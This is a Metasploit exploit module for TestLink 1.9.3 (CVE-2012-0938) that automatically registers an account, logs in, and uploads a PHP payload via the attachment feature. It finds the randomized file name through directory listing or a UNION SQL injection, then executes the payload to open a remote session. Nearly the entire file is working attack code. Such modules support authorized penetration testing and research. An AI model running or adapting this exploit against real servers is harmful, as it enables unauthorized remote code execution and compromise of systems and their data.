modules/exploits/multi/http/testlink_upload_exec.rb
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(
update_info(
info,
'Name' => "TestLink v1.9.3 Arbitrary File Upload Vulnerability",
'Description' => %q{
This module exploits a vulnerability in TestLink version 1.9.3 or prior.
This application has an upload feature that allows any authenticated
user to upload arbitrary files to the '/upload_area/nodes_hierarchy/'
directory with a randomized file name. The file name can be retrieved from
the database using SQL injection.
},
'License' => MSF_LICENSE,
'Author' => [
'bcoles' # Discovery and exploit
],
'References' => [
[ 'CVE', '2012-0938' ],
[ 'OSVDB', '85446' ],
[ 'EDB', '20500' ],
[ 'URL', 'http://itsecuritysolutions.org/2012-08-13-TestLink-1.9.3-multiple-vulnerabilities/' ]
],
'Payload' => {
'BadChars' => "\x00"
},
'DefaultOptions' => {
'EXITFUNC' => 'thread'
},
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [
['Automatic Targeting', { 'auto' => true }]
],
'Privileged' => false,
'DisclosureDate' => '2012-08-13',
'DefaultTarget' => 0,
'Compat' => {
'Meterpreter' => {
'Commands' => %w[
stdapi_fs_delete_file
]
}
}
)
)
register_options(
[
OptString.new('TARGETURI', [true, 'The path to the web application', '/testlink-1.9.3/'])
]
)
self.needs_cleanup = true
end
def check
base = target_uri.path
base << '/' if base[-1, 1] != '/'
peer = "#{rhost}:#{rport}"
# retrieve software version from login page
begin
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(base, "login.php")
})
return Exploit::CheckCode::Unknown if res.nil?
if res
if res.code == 200
if res.body =~ /<p><img alt="Company logo" title="logo" style="width: 115px; height: 53px;"\s+src="[^"]+" \/>\s+<br \/>TestLink 1\.9\.3/
return Exploit::CheckCode::Appears
end
end
end
return Exploit::CheckCode::Detected if res and res.body =~ /TestLink project <a href="http:\/\/testlink\.sourceforge\.net\/docs\/testLink\.php">Home<\/a><br \/>/
return Exploit::CheckCode::Safe
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
vprint_error("Connection failed")
return Exploit::CheckCode::Unknown
end
return Exploit::CheckCode::Safe
end
def upload(base, fname, file)
boundary = "----WebKitFormBoundary#{rand_text_alphanumeric(10)}"
data_post = "--#{boundary}\r\n"
data_post << "Content-Disposition: form-data; name=\"uploadedFile\"; filename=\"#{fname}\"\r\n"
data_post << "Content-Type: text/php\r\n"
data_post << "\r\n"
data_post << file
data_post << "\r\n"
data_post << "--#{boundary}\r\n"
data_post << "Content-Disposition: form-data; name=\"MAX_FILE_SIZE\"\r\n"
data_post << "\r\n1048576\r\n"
data_post << "--#{boundary}\r\n"
res = send_request_cgi({
'method' => 'POST',
'uri' => "#{base}lib/attachments/attachmentupload.php",
'ctype' => "multipart/form-data; boundary=#{boundary}",
'data' => data_post,
'cookie' => datastore['COOKIE'],
})
return res
end
def register(base, user, pass)
res = send_request_cgi({
'method' => 'POST',
'uri' => "#{base}firstLogin.php",
'data' => "login=#{user}&password=#{pass}&password2=#{pass}&firstName=#{user}&lastName=#{user}&email=#{user}%40#{user}.tld&doEditUser=Add+User+Data",
})
return res
end
def login(base, user, pass)
res = send_request_cgi({
'method' => 'POST',
'uri' => "#{base}login.php",
'data' => "reqURI=&destination=&tl_login=#{user}&tl_password=#{pass}&login_submit=Login",
'cookie' => datastore['COOKIE'],
})
return res
end
def on_new_session(client)
print_warning("Deleting #{@token}.php")
if client.type == "meterpreter"
client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")
client.fs.file.rm("#{@token}.php")
else
client.shell_command_token("rm #{@token}.php")
end
end
def exploit
base = normalize_uri(target_uri.path)
base << '/' if base[-1, 1] != '/'
datastore['COOKIE'] = "PHPSESSID=" + rand_text_alpha_lower(26) + ";"
# register an account
user = rand_text_alphanumeric(rand(10) + 6)
print_status("Registering user (#{user})")
res = register(base, user, user)
if res and res.code == 200 and res.body =~ /\<html\>\<head\>\<\/head\>\<body\>\<script type='text\/javascript'\>location\.href=/
print_good("Registered successfully")
else
print_error("Registration failed")
return
end
# login
print_status("Authenticating user (#{user})")
res = login(base, user, user)
if res and res.code == 200 and res.body =~ /\<html\>\<head\>\<\/head\>\<body\>\<script type='text\/javascript'\>location\.href=/
print_good("Authenticated successfully")
else
print_error("Authentication failed")
return
end
# set id and table name
id = rand(1000) + 1
table = 'nodes_hierarchy'
print_status("Setting id (#{id}) and table name (#{table})")
begin
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(base, "lib/attachments/attachmentupload.php") + "?id=#{id}&tableName=#{table}",
'cookie' => datastore['COOKIE'],
})
if res and res.code == 200
print_good("Setting id and table name successfully")
else
print_error("Setting id and table name failed")
return
end
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
print_error("Connection failed")
return
end
# upload PHP payload to ./upload_area/nodes_hierarchy/[id]/
print_status("Uploading PHP payload (#{payload.encoded.length.to_s} bytes)")
fname = rand_text_alphanumeric(rand(10) + 6) + '.php'
php = %Q|<?php #{payload.encoded} ?>|
begin
res = upload(base, fname, php)
if res and res.code == 200 and res.body =~ /<p>File uploaded<\/p>/
print_good("File uploaded successfully")
else
print_error("Uploading PHP payload failed")
return
end
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
print_error("Connection failed")
return
end
# attempt to retrieve real file name from directory index
print_status("Retrieving real file name from directory index.")
begin
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(base, "upload_area", table, id)
})
if res and res.code == 200 and res.body =~ /\b([a-f0-9]+)\.php/
@token = $1
print_good("Successfully retrieved file name (#{@token})")
else
print_error("Could not retrieve file name from directory index.")
end
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
print_error("Connection failed")
return
end
# attempt to retrieve real file name from the database
if @token.nil?
print_status("Retrieving real file name from the database.")
sqli = normalize_uri(base, "lib/ajax/gettprojectnodes.php") + "?root_node=-1+union+select+file_path,2,3,4,5,6+FROM+attachments+WHERE+file_name='#{fname}'--"
begin
res = send_request_cgi({
'method' => 'GET',
'uri' => sqli,
'cookie' => datastore['COOKIE'],
})
if res and res.code == 200 and res.body =~ /\b([a-f0-9]+)\.php/
@token = $1
print_good("Successfully retrieved file name (#{@token})")
else
print_error("Could not retrieve file name from the database.")
return
end
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
print_error("Connection failed")
return
end
end
# retrieve and execute PHP payload
print_status("Executing payload (#{@token}.php)")
begin
send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(base, "upload_area", "nodes_hierarchy", id, "#{@token}.php")
})
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
print_error("Connection failed")
return
end
handler
end
end